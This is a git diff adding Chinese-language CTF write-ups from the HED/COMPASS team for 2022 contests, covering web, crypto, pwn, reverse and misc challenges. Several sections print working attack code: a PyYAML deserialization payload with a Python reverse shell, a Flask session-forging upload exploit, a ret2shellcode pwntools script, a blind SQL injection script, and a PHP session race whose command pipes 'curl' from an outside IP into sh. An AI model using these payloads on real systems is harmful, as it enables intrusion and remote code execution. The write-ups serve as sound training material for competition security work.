+    if len(num) % group_size == 0:
+        rv = "-".join(
+            num[x: x + group_size].rjust(group_size, "0")
+            for x in range(0, len(num), group_size)
+        )
+        print(rv)
+
+

有了pin就可以RCE了,没测控制台能不能直接读,反弹的shell可以读flag

+

Crypto

+

strange_rsa1

+

RSA,已知高精度下的 p/q,求 p 和 q。
+用 sage 运行,发现精度足够,直接能解出来。

+
# exp.sage
+from Crypto.Util.number import *
+
+e = 0x10001
+n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
+c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
+gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
+
+q_sq = n / gift
+q_e = sqrt(q_sq)
+q = int(q_e)
+
+assert n % q == 0
+p = n / q
+
+phi = int((p-1)*(q-1))
+d = inverse(e, phi)
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2022mtctf/re1.jpg b/Writeup/2022mtctf/re1.jpg new file mode 100644 index 000000000..67ecb5798 Binary files /dev/null and b/Writeup/2022mtctf/re1.jpg differ diff --git a/Writeup/2022mtctf/re2.jpg b/Writeup/2022mtctf/re2.jpg new file mode 100644 index 000000000..5bce56624 Binary files /dev/null and b/Writeup/2022mtctf/re2.jpg differ diff --git a/Writeup/2022wdbs1/img/2022wdbs1.jpg b/Writeup/2022wdbs1/img/2022wdbs1.jpg new file mode 100644 index 000000000..4f7f1b7b0 Binary files /dev/null and b/Writeup/2022wdbs1/img/2022wdbs1.jpg differ diff --git a/Writeup/2022wdbs1/img/pwn23.png b/Writeup/2022wdbs1/img/pwn23.png new file mode 100644 index 000000000..0a49e73ca Binary files /dev/null and b/Writeup/2022wdbs1/img/pwn23.png differ diff --git a/Writeup/2022wdbs1/img/re1.png b/Writeup/2022wdbs1/img/re1.png new file mode 100644 index 000000000..2d42797c3 Binary files /dev/null and b/Writeup/2022wdbs1/img/re1.png differ diff --git a/Writeup/2022wdbs1/img/re10.png b/Writeup/2022wdbs1/img/re10.png new file mode 100644 index 000000000..56ef11eb4 Binary files /dev/null and b/Writeup/2022wdbs1/img/re10.png differ diff --git a/Writeup/2022wdbs1/img/re2.png b/Writeup/2022wdbs1/img/re2.png new file mode 100644 index 000000000..47d973fd5 Binary files /dev/null and b/Writeup/2022wdbs1/img/re2.png differ diff --git a/Writeup/2022wdbs1/img/re3.png b/Writeup/2022wdbs1/img/re3.png new file mode 100644 index 000000000..83b42268a Binary files /dev/null and b/Writeup/2022wdbs1/img/re3.png differ diff --git a/Writeup/2022wdbs1/img/re4.png b/Writeup/2022wdbs1/img/re4.png new file mode 100644 index 000000000..4d4f76ff8 Binary files /dev/null and b/Writeup/2022wdbs1/img/re4.png differ diff --git a/Writeup/2022wdbs1/img/re5.png b/Writeup/2022wdbs1/img/re5.png new file mode 100644 index 000000000..eac969043 Binary files /dev/null and b/Writeup/2022wdbs1/img/re5.png differ diff --git a/Writeup/2022wdbs1/img/re6.png b/Writeup/2022wdbs1/img/re6.png new file mode 100644 index 000000000..5d398e035 Binary files /dev/null and b/Writeup/2022wdbs1/img/re6.png differ diff --git a/Writeup/2022wdbs1/img/re7.png b/Writeup/2022wdbs1/img/re7.png new file mode 100644 index 000000000..f0c64ec46 Binary files /dev/null and b/Writeup/2022wdbs1/img/re7.png differ diff --git a/Writeup/2022wdbs1/img/re8.png b/Writeup/2022wdbs1/img/re8.png new file mode 100644 index 000000000..491419b78 Binary files /dev/null and b/Writeup/2022wdbs1/img/re8.png differ diff --git a/Writeup/2022wdbs1/img/re9.png b/Writeup/2022wdbs1/img/re9.png new file mode 100644 index 000000000..c46e99532 Binary files /dev/null and b/Writeup/2022wdbs1/img/re9.png differ diff --git a/Writeup/2022wdbs1/img/web1.png b/Writeup/2022wdbs1/img/web1.png new file mode 100644 index 000000000..cd6e0cd21 Binary files /dev/null and b/Writeup/2022wdbs1/img/web1.png differ diff --git a/Writeup/2022wdbs1/img/web2.png b/Writeup/2022wdbs1/img/web2.png new file mode 100644 index 000000000..9c1a5a007 Binary files /dev/null and b/Writeup/2022wdbs1/img/web2.png differ diff --git a/Writeup/2022wdbs1/readme/index.html b/Writeup/2022wdbs1/readme/index.html new file mode 100644 index 000000000..6678fb284 --- /dev/null +++ b/Writeup/2022wdbs1/readme/index.html @@ -0,0 +1,8250 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022-网鼎杯青龙组-初赛-HED-WriteUp - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022-网鼎杯青龙组-初赛-HED-WriteUp

+

Rank: 7 1016pts 9Solved
+青龙组总第8,组内高校赛道第7
+HED 是南方科技大学COMPASS实验室的CTF战队

+ +

s1

+

Web

+

web669

+

首先喵一下代码,发现上传文件需要 session['user'] == 'Administrator',然后翻一下 session 的 secret key,发现:

+
app.config['SECRET_KEY'] = socket.gethostname()
+
+

看到hostname考虑平台的Docker环境可能是一样的,果断登录CTF大本营打开百度杯的SSTI题目 +web1

+

摸了一下 hostname 得到返回值 engine-1,验证发现果然是这个。

+

web2

+

拿到了 SECRET_KEY 之后,就可以随便改 session 了,也就是 userupdir 都能随便改。

+

这样的话,我们现在就可以上传文件了。并且由于可以控制 updir,所以我们就可以任意文件读,也可以任意文件写了(只要有权限)。

+

然后发现任意文件读没什么用(~~主要是读不到 flag~~),然后尝试写文件也写不到 templates 里面去(事后发现确实没那个目录的权限),所以剩下只有 yaml.load 可以利用了。

+

然后 yaml 过滤了 system 等关键词,所以一个比较省事的办法就是先 base64 一下然后再 eval。

+

然后至于怎么实现这个逻辑,翻了一圈大佬的文章,最后发现一个能用的:

+

https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/

+

大佬没给出实现,自己按大佬博客的思路实现一下:

+
!!python/object/new:bytes
+- !!python/object/new:map
+  - !!python/name:eval
+  - !!python/object/new:map
+    - !!python/name:base64.b64decode
+    - ["{BASE64 HERE}"]
+
+

翻译过来其实就是 bytes(map(eval, map(base64.b64decode, 'BASE64 HERE')))。然后 base64 的部分,可以填一个常规的反弹 shell:

+
exec("import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"YOUR-IP\",PORT)); 
+os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);")
+
+

然后把这个 yaml 上传到一个 /display 能访问到的位置上(即要提前算好 md5),然后再用 /display 摸一下,就能执行了。执行完了之后,就拿到了 shell。

+

但是翻了一下,发现 /flag 好像没权限读。

+

find -perm -u=s -type f 2>/dev/null 遍历有suid权限的程序,发现除了正常的程序外有dd

+

考虑dd写passwd提到root,但是队里神仙师傅直接用 dd if=/flag of=copy 复制了一份 flag,然后就可以读了。

+

上面 web 部分的脚本如下:

+
from itsdangerous import URLSafeTimedSerializer
+import base64
+import flask
+import hashlib
+import os
+import requests
+
+def dump_cookies(secret_key, data):
+    return URLSafeTimedSerializer(
+        secret_key,
+        salt = 'cookie-session',
+        serializer = flask.json.tag.TaggedJSONSerializer(),
+        signer_kwargs = dict(key_derivation = "hmac", digest_method = hashlib.sha1),
+    ).dumps(data)
+
+def create_rar(target, contents):
+    for (file, content) in contents.items():
+        with open(file, 'w') as f:
+            f.write(content)
+        os.system(f'rar a {target} {file}')
+
+def create_session(key):
+    data = { 'user': 'Administrator', 'updir': 'fileinfo' }
+    return dump_cookies(key, data)
+
+def create_yaml_payload():
+    command = f'exec("import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+    s.connect((\\\"YOUR-IP\\\",PORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
+     os.dup2(s.fileno(),2); p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);")'
+    command_encode = base64.b64encode(command.encode()).decode()
+
+    return f'''
+!!python/object/new:bytes
+- !!python/object/new:map
+  - !!python/name:eval
+  - !!python/object/new:map
+    - !!python/name:base64.b64decode
+    - ["{command_encode}"]'''
+
+def main():
+    dummy_filename = 'monad'
+    dummy_filename_md5 = hashlib.md5(dummy_filename.encode()).hexdigest()
+    rar = f'.1.rar'
+    create_rar(rar, { f'{dummy_filename_md5}.yaml': create_yaml_payload() })
+
+    session = create_session('engine-1')
+    url = 'http://eci-2ze2kqsxzki5jel0ux1b.cloudeci1.ichunqiu.com:8888'
+    r = requests.post(url + '/upload', cookies={'session': session}, files={'file': open(rar, 'rb')})
+    r = requests.get(url + '/display', cookies={'session': session}, params={'file': dummy_filename})
+
+if __name__ == '__main__':
+    main()
+
+

Crypto (AK)

+

crypto162 (二血)

+

首先,嗯,我们先来看看代码:

+
def cal(i, cof):
+    if i < 3:
+        return i + 1
+    else:
+        return cof[2] * cal(i-3, cof) + cof[1] * cal(i-2, cof) + cof[0] * cal(i-1, cof)
+
+

然后一看,垃圾递归,顺手把他改成迭代的:

+
MOD = 10 ** 2010
+buffer = [1, 2, 3] + [ 0 for _ in range(200000 + 1) ]
+
+s = 0
+for cof in cof_t:
+    for j in range(3, 200000+1):
+        buffer[j] = (cof[2] * buffer[j-3] + cof[1] * buffer[j-2] + cof[0] * buffer[j - 1]) % MOD
+    s = (s + buffer[200000]) % MOD
+
+

然后又因为后面有 s=str(s)[-2000:-1000],所以顺便模一下 $2^{2000}$ 次方,不会对答案产生影响。

+

然后本来还想着要不要继续优化的,但是刚想出来怎么优化,上面的那段代码就跑出来了。

+

然后拿着输出的 s 验算一下,是可以对上 verify 的。然后……然后就用 AES 解密就解出来啦?

+

crypto405

+

由于 k 一直在更新,有点难分析,不妨给 k 加一维(即 i 相关),于是代码就是:

+
for i in range(len(flag)):
+    k[i][0] = flag[i]
+    for j in range(1, 5+1):
+        k[i][j] = k[i][j - 1] * k[i - 1][j] % p
+    print('Grasshopper#' + str(i).zfill(2) + ':' + hex(k[i][5])[2:].zfill(4))
+
+

然后不难发现,k 里面的每个值,会且会被赋值一次。并且用 k[i][j]k[i - 1][j] 可以计算出 k[i][j - 1](因为 p 是质数,所以直接求逆即可)。

+

然后 output.txt 里面给出了最后的 k,即 k[..][5]。于是我们就可以用上面所说的方法,从 k[..][5] 算出 k[..][4],从 k[..][4] 算出 k[..][3]……直至算出 k[..][0],也就是 flag。

+

所以最后的过程就是枚举 p,然后对 k 做逆运算求出 flag,并顺便判断一下 flag 合不合法(需要是可打印字符)。

+
from Crypto.Util.number import *
+import more_itertools
+import string
+
+out = [ 0x2066, 0xa222, 0xcbb1, 0xdbb4, 0xdeb4, 0xb1c5, 0x33a4, 0xc051, 0x3b79, 0x6bf8,
+ 0x2131, 0x2c40, 0x91ba, 0x7b44, 0x5f25, 0x0208, 0x7edb, 0x62b5, 0xcec5, 0x5ab3, 0x3c46,
+  0xc272, 0x714b, 0x9e0b, 0x48ee, 0x44cc, 0x05a0, 0x3da3, 0x11b1, 0x259f, 0x899d, 0xa130,
+   0xe58f, 0x23f3, 0x5829, 0x6beb, 0x3681, 0x0054, 0xa189, 0x2765, 0xc63d, 0xbc68 ]
+
+def solve_with(p):
+    now = out
+    for k in range(5):
+        now = [ y * pow(x, -1, p) % p for x, y in more_itertools.windowed(now, n=2, step=1) ]
+    if max(now) < 256:
+        print(bytes(now))
+
+for p in range(max(out) + 1, 2**16):
+    if isPrime(p):
+        solve_with(p)
+
+

crypto091

+

已知 sha(手机号) = c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc,且“手机号是170号段首批放号的联通号码”。

+

联通号码,那肯定是中国的,所以国家代码是 86,然后“首批放号的联通号码”,稍微查一下,就能发现号码段是 1709,多一位。所以手机号的前 6 位就出来了:861709

+

然后 sha 出来的长度是 64 位的 hex,所以这是个 sha256。

+

用 hashcat 跑一下最后的 7 位数字:

+
$ hashcat -a 3 -m 1400 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' '861709?d?d?d?d?d?d?d' -O --force
+
+...
+c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc:8617091733716
+...
+
+

就可以拿到手机号:8617091733716(也就是 flag)。

+

Re

+

re693(一血)

+

go正向,按逻辑把前两个print的字符串拿出来:

+
Input the first function, which has 6 parameters and the third named gLIhR: 
+Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6: 
+
+

上边很多函数,但一搜包含字符串的函数复杂度只有180*50,好像挺能接受的

+

正则搜一下第一个,发现只有五个匹配(这里后半段贪心了,肉眼过一遍发现实际只有一个是正确的)

+

\(.*?,.*?, gLIhR.*?,.*?, .*?, .*?\)

+

就找到了第一段的答案 +re1

+

然后搜第二个调用cHZv5op8rOmlAkb6(.*?),同时函数名的出现次数==5(多余的在字符串转函数引用的那个方法里和它自身好像)

+

只有50多个,准备挨个都手搜一下同名函数个数,结果第二个就正好符合5个 +re1 +直接把函数一二两个字符串放到go在线环境https://go.dev/play/ 一跑就出来了 +re1

+

re694

+

exeinfo_pe 查到是UPX,但提示文件被hack不能直接脱,IDA打开提示IAT炸了 +re1

+

010打开发现有FUK01 FUK02,想到最简单的之前看博客讲魔改UPX的方法就是把UPX01抹掉,果断把两个FUK换成UPX,exeinfo再查就提示能正常脱了 +re1

+

这时候upx -d直接解,放到IDA里发现看起来像VSStudio debug模式编译的程序,shift f12找到了flag正确的字符串,引用跟入到函数,看下调用的其他函数发现大致逻辑: +re1

+

字符串比较 +4B48791345305C495A7913706D78136F485D6464
+re1

+

add 10, XOR 0X50
+re1

+

XOR 0X66
+re1

+

然后反着操作一遍就得到了flag

+

CyberChief配方:

+
cyberchief/CyberChef_v9.46.0.html#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'50'%7D,'Standard',false)
+SUB(%7B'option':'Hex','string':'A'%7D)ADD(%7B'option':'Hex','string':'A'%7D/disabled)XOR
+(%7B'option':'Hex','string':'66'%7D,'Standard',false)&input=NEI0ODc5MTM0NTMwNUM0OTVBNzkxMzcwNkQ3ODEzNkY0ODVENjQ2NA
+
+

PWN

+

pwn349

+

没点开497就先做了这题

+

以为是blind-pwn然后就上去去一通乱摸,考虑有什么可执行程序能读文件并报错的,队里的师傅找到了cc1plus编译并输出到stdout可以爆出flag:

+

lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag

+

pwn497

+

lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag +做完349点开一看发现了497的附件(?),于是同样的payload拿到flag,大概是349非预期了罢

+

pwn23

+

MISC

+

签到:

+

签到,答案可以为空,可以单个爆破不确定的题目

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/Eva.png" "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/Eva.png" new file mode 100644 index 000000000..5ae3edffb Binary files /dev/null and "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/Eva.png" differ diff --git "a/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/files.png" "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/files.png" new file mode 100644 index 000000000..d05089751 Binary files /dev/null and "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/files.png" differ diff --git "a/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/wireshark.png" "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/wireshark.png" new file mode 100644 index 000000000..cd3d9bc98 Binary files /dev/null and "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/img/wireshark.png" differ diff --git "a/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/readme/index.html" "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/readme/index.html" new file mode 100644 index 000000000..37c2be2ca --- /dev/null +++ "b/Writeup/2022\345\271\277\344\270\234\347\234\201\350\265\233/readme/index.html" @@ -0,0 +1,8645 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 2022广东省赛 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

2022广东省赛

+
+

(第二届广东大学生网络安全攻防大赛)
+【HED CTF / COMPASS CTF】 WriteUp
+Rank:9 (total 504) Solve:8 Pts:1947

+
+

Pwn

+

Pwn | jmp_rsp (235pt)

+

写WP时候发现远程的bss是RWX的,直接ret2bss就完了,为什么IDA和readelf都说bss是RW的呢?
+更惨的是,这题好像有jmp rsp的gadget。。。
+怎么有不读题就开始造链子的人呢 XD 可能这就是我变不PWN的原因吧

+

checksec显示有canary,其他保护全无,栈段RWX
+IDA打开,程序逻辑非常简单,在read处也无canary,但是看起来这是个静态编译的二进制,没有引用的外部函数。
+先想到的是:写bss格式化字符串 + printf rop泄露栈地址 + 栈上ret2shellcode
+但是大概是没设置小缓冲区的原因,程序直到退出才吐出输出,在远程就拿不到任何输出,所以考虑不利用输出的getshell
+这题没有libc也不能ret2dl,但是有mprotect函数,可以改段权限,于是构造:
+shellcode写到bss + mprotect改bss权限 + bss上ret2shellcode

+

exp:

+
from pwn import p64
+from pwn import *
+
+# context.log_level = "debug"
+e = ELF('jmp_rsp')
+p = remote("47.106.122.102", 45286)
+# p = e.process()
+read_addr = 0x449380  # elf.sym["read"]
+vul_addr = 0X400b5d
+mprot_addr = 0x44a160
+printf = 0x40f690
+rdi = 0x401902
+rsi_r15 = 0x401900
+bss_addr = e.bss()
+print(bss_addr)
+p_write_bss = b'a' * 0x88 + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + b'a' * 8 + p64(read_addr) + p64(vul_addr)
+p.send(p_write_bss + b'c' * (0x100 - len(p_write_bss)))
+shell_code = \
+    b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
+p.send(shell_code + b'c' * (0x100 - len(shell_code)))
+
+payload = b'a' * 0x88 + p64(0x4018F5) + p64(vul_addr) + p64(0) + p64(1) + p64(mprot_addr) + p64(7) + p64(0x100000) + p64(0x600000) + p64(bss_addr)
+p.send(payload + b'c' * (0x100 - len(payload)))
+p.interactive()
+
+

Crypto

+

Crypto | crypto-xor2 (114pt)

+

想起了HackNat里边的一个剧情:一个人把他的密码设成*******,这样如果有一天密码被盗了,别人也会以为没拿到真正的密码。
+队里密码师傅说是智商检测题,她说是就是吧...

+

很简单的异或加密,枚举 key 再异或回来即可。

+
d = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=[]\\;',./`~!@#$%^&*()_+{}|:\"<>?"
+e = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
+
+with open("cipher", "r") as f:
+    cipher = f.read()
+
+for o in range(0, len(d)):
+    for p in range(0, len(d)):
+        for q in range(0, len(d)):
+            for r in range(0, len(d)):
+                key = d[o] + d[p] + d[q] + d[r]
+                flag = ""
+                f = True
+                for i in range(len(cipher)):
+                    m = ord(cipher[i]) ^ ord(key[i%4])
+                    flag += chr(m)
+                    if (e.find(chr(m)) == -1):
+                        f = False
+                        break
+                if f:
+                    print(flag, key)
+
+

flag{fccb0665-bce5-d329-aca7-99179bdc9ed3}

+

没想到这个 key 就是 xxxx,flag 也没有 padding,小丑竟是我自己。

+

Web

+

Web | easy_ctf (141pt)

+

把内容拿出来,然后统计一下,再排个序,最后提交一下就行了。

+
import requests
+import re
+
+RE = re.compile(r'^([a-zA-Z0-9]*)<td>', re.MULTILINE)
+
+def f(r):
+    p = {}
+    for c in r:
+        if c in p:
+            p[c] += 1
+        else:
+            p[c] = 1
+    a = [ (v, k) for (k, v) in p.items() ]
+    a = sorted(a)
+    return ''.join([ c[1] for c in a ])
+
+s = requests.Session()
+r = s.get('http://120.79.191.238:42399')
+
+while True:
+    print(r.text)
+    m = re.search(RE, r.text)
+    a = m.group(1)
+    a = f(a)
+
+    r = s.post('http://120.79.191.238:42399', data={'ans': a})
+
+

Web | easysql (833pt)

+

经测试和观察,~~不难~~发现广告名是是有注入点的,可以用 '||{sql}||' 的方式注入。然后广告提交之后,可以查看详情,通过观察这条广告是否正常显示,就可以知道 {sql} 的条件是否为真。所以可以用盲注。

+

并且可以发现,广告名是有关键词过滤的,包括 in, or, and, union, password 等,其中 andor 可以用 &&|| 绕过。

+

然后由于屏蔽了 inor 导致没有办法通过 information_schemamysql.innodb_table_stats 查询表名和列名,且 MariaDB 没有 sys 库。

+

故使用伟大的盲猜方法(指猜了好几个小时),猜出里面有一个 ads 表,里面有 22 列;一个 users 表,有 id, name 和感觉有的 password 三列(但是并没有什么卵用,因为 admin 帐号啥都没有)。

+

然后又使用盲猜大法(admin的md5搜到了极其相似的题目,考虑可能有flag字段/表/库),找到了一个 flag 表,然后在未知列名的情况下,用 SELECT (SELECT * FROM flag) >= (SELECT 1, {string}) 来盲注,就可以拿到一个没有区分大小写的 flag。

+

小小爆破了一下flag,因为太菜了没不到大小写敏感的注入查询方法(过滤了bINary,MariaDB还没有json)
+然后又 xjb 枚举,发现 flag 只有 sql 的首位大写,即 flag{Sql_1nj3cti0n_1s_s0_easy},提交可过。

+
import requests
+import re
+
+cookies = {'PHPSESSID': '_______________'}
+RE = re.compile(r'detail\.php\?id=(\d+)')
+
+def clear_list():
+    requests.get('http://120.79.141.85:47930/empty.php', cookies=cookies)
+
+def add_ads(title):
+    global aid
+    payload = {'title': title, 'content': 'Elaina is best', 'ac': 'add'}
+    r = requests.post('http://120.79.141.85:47930/addads.php', cookies=cookies, data=payload)
+    aid += 1
+    assert '已发送申请' in r.text, title
+
+def check_sql(sql):
+    global aid
+    if aid % 10 == 0:
+        clear_list()
+        add_ads('1')
+    sql = sql.replace(' ', '/**/')
+    add_ads(f"'||{sql}||'")
+    requests.get(f'http://120.79.141.85:47930/index.php', cookies=cookies)
+    r = requests.get(f'http://120.79.141.85:47930/detail.php', params={'id': str(aid)}, cookies=cookies)
+    return '待管理确认' in r.text
+
+class CharBinarySearch:
+    def __init__(self):
+        self.l = 0
+        self.r = 128
+
+    def is_done(self):
+        return self.l + 1 >= self.r
+
+    def middle(self):
+        return (self.l + self.r) // 2
+
+    def update(self, r):
+        if r:
+            self.l = self.middle()
+        else:
+            self.r = self.middle()
+
+def main():
+    global aid
+    aid = 0
+
+    clear_list()
+    add_ads('1')
+    r = requests.post('http://120.79.141.85:47930/index.php', cookies=cookies)
+    aid = int(re.search(RE, r.text).group(1))
+    print(f'Initial ID: {aid}')
+
+    # # 可爆破出列数
+    # for i in range(1, 64):
+    #     s = ','.join(["''"] * i)
+    #     r = check_sql(f"(SELECT (SELECT {s})<(SELECT * FROM flag LIMIT 1))=true")
+    #     print(i, r)
+
+    content = ''
+    for i in range(len(content) + 1, 128):
+        s = CharBinarySearch()
+        while not s.is_done():
+            # r = check_sql(f"(SELECT HEX(SUBSTR(database(),{i},1))>=HEX({s.middle()}))")
+
+            p = content + chr(s.middle())
+            p = hex(int.from_bytes(p.encode(), 'big'))
+            r = check_sql(f"(SELECT (SELECT * FROM flag) >= (SELECT 1, {p})) = 1")
+            # r = check_sql(f"((SELECT HEX(SUBSTR(name,{i},1)) FROM users LIMIT 1 OFFSET 0)>=HEX({s.middle()}))")
+
+            print(f'{i} {s.middle()} => {r}')
+            s.update(r)
+        content += chr(s.l)
+        print(content)
+
+if __name__ == '__main__':
+    main()
+
+

Web | in (138pt)

+

随便点点,发现http://119.23.247.96:45837/action.php?file=2.txt 可以读文件,尝试包含action.php自身,发现卡顿且无返回,说明包含方式很可能是include
+先看一眼服务器是apache,不能包含日志拿shell,于是考虑看看PHP的源码
+伪协议读到源码http://119.23.247.96:45837/action.php?file=php://filter/convert.base64-encode/resource=action.php
+开头看到session_start()大概率是session包含,偷懒直接用session竞争的板子拿shell

+
import io
+import requests
+import threading
+
+sessid = 'TGAO'
+data = {"cmd": "system('curl 106.52.237.196 | sh');"}
+
+
+def write(session):
+    while True:
+        f = io.BytesIO(b'a' * 1024 * 50)
+        resp = session.post('http://119.23.247.96:45837/action.php',
+                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
+                            files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
+
+
+def read(session):
+    while True:
+        resp = session.post('http://119.23.247.96:45837/action.php?file=/tmp/sess_' + sessid, data=data)
+        if 'tgao.txt' in resp.text:
+            print(resp.text)
+            event.clear()
+
+
+if __name__ == "__main__":
+    event = threading.Event()
+    with requests.session() as session:
+        for i in range(1, 30):
+            threading.Thread(target=write, args=(session,)).start()
+        for i in range(1, 30):
+            threading.Thread(target=read, args=(session,)).start()
+    event.set()
+
+

运行后立刻在vps上成功收到了反弹的shell(应该不用这么暴力也能解)

+

MISC

+

Misc | 复合 (277pt)

+

套娃题。

+

观察到可疑 HTTP 请求,导出响应文件。
+wireshark

+

发现所有的文件后缀都不符合真实的文件类型,逐一修改文件后缀名。
+其中 md 文件看文件尾能知道是 zip,但是它的文件头坏了。通过对比正常的 zip 文件,发现只是缺少了最开始的两个 bytes,手动补全即可。
+files

+

解压缩 pass.zip,得到纯文本文件 Eva
+Eva

+

观察到大量的 =E2=80=82,有点像 unicode 控制字符,全部换成空格。行尾的 = 似乎代表着换行,全部删掉。这样就可以得到密文。

+
Emklyusg gni bvvymlag tsqic colz jxmoxvl tiwhz ebmee, Zhjeoig Krpvpi-Zgvlyvx Evdr or olv Rbtm bl Gcscckh une fz e tftstrtkdrx rxeb suv olfqx dpb tizh km kliq ox hsjr: mom luyik, kfx dwhrh-wi iympwagp, vru ral qzveomvlm. Aw fgc olrr fhvl nivpkf vhzr vvjjvqlpwagpn jrje pvgu xcijc vhbrmsmmvq bz vbz xj jrsea bukq wyk kxymye xj hvqvyqok xcid. Uav jrorb cfsgn knt oisn uahb vz mn pzix aw ok sgh? Nfh aznorzh zl plagkvi wtgxubvlmx qvbbjqak hvvvq gvb gxc os sc khbvurvp? Wjtn qf rmai zq yhvggwomt.Ygk euu gvyxfm bx vt xci kylr-weoiixvb btxrxeommc hm kbtxzqgmkhzl siymtggl knt xmycw vsivs xci mgkacr uj kekgxukr? Kzzr scyvzr seiexcw-jiek mimkgtaqikw ns xpxhbye migictzmq zlz ticlzcek, tccjgvpiay azvv dttwhypt xzkx-kzvbii, xiybumq zs nivi xmnvimzrtw bu iyr xcmeel, jiek sa trrblvgy tmsdgglvgrc vqflz aprs. Xj wlaa wmeysiw, kfx apbakcx fd kliqorb e emolt zgc nivk t wzblpdkrrx difzi jj kgfl. Eue wkieb avcey vzeuggn iouyo ayym umikv cegnxumq? Zldw hsxzbvur cej zxlv rrslyvlmsg ntwriicw vdrx xci pctya oe xcsjc pow hyi gmkckhbhxi dr dcwpknr iyytympwa. 
+
+

大小写、单词长度和标点符号都非常像自然语言。
+e emolt zgc nivk tet 应该都是代表 a,也就是说这不是一一对应的置换。用 quipquip 也没有跑出结果。(密文是全可见字符,标点正确,明文推测也是全可见字符,且不是单表替换,因此)凭感觉是 Vigenère Encode,但是不知道 key 是什么,反正不是文件名 Eva
+后来在 flaggggggg.doc 中找到了隐藏的白色小字,Key:everything。于是此题结束。

+
Arguably the greatest novel ever written about aging, Gabriel Garcia-Marquez Love in the Time of Cholera may be a challenging text for those who need to read it most: the young, the would-be rational, and the impatient. To say that many health care professionals fall into these categories is not to fault them but merely to describe them. Who being young can know what it is like to be old? Who trained in western scientific medicine dares not try to be rational? Flag is life is fantastic.And who caught up in the task-oriented imperative of contemporary medicine can truly claim the virtue of patience? Even before managed-care initiatives so greatly increased the pressure, physicians were famously time-driven, trained to seek efficiency in all things, care of patients prominently among them. To such persons, the thought of reading a novel may seem a profligate waste of time. Why spend hours reading about what never happened? This question has been eloquently answered over the years by those who use literature in medical education. 
+
+

flag{life_is_fantastic}

+

Misc | 签到题 (42pt)

+

签到,提前关注主办方公众号是好文明,光速一血

+

Reverse

+

Reverse | pyre (165pt)

+

使用GitHub上的pyinstxtractor.py解包exe,被提醒

+
[+] Python version: 37
+[!] Warning: This script is running in a different Python version than the one used to build the executable.  
+[!] Please run this script in Python37 to prevent extraction errors during unmarshalling  
+
+

于是更换到python3.7再次运行,得到了正常解包的1.pyc
+pycdc还是不干活,于是试试在python3.7-3.8工作良好的uncompyle6反编译,得到清晰的代码:

+
def check():
+    a = input('plz input your flag:')
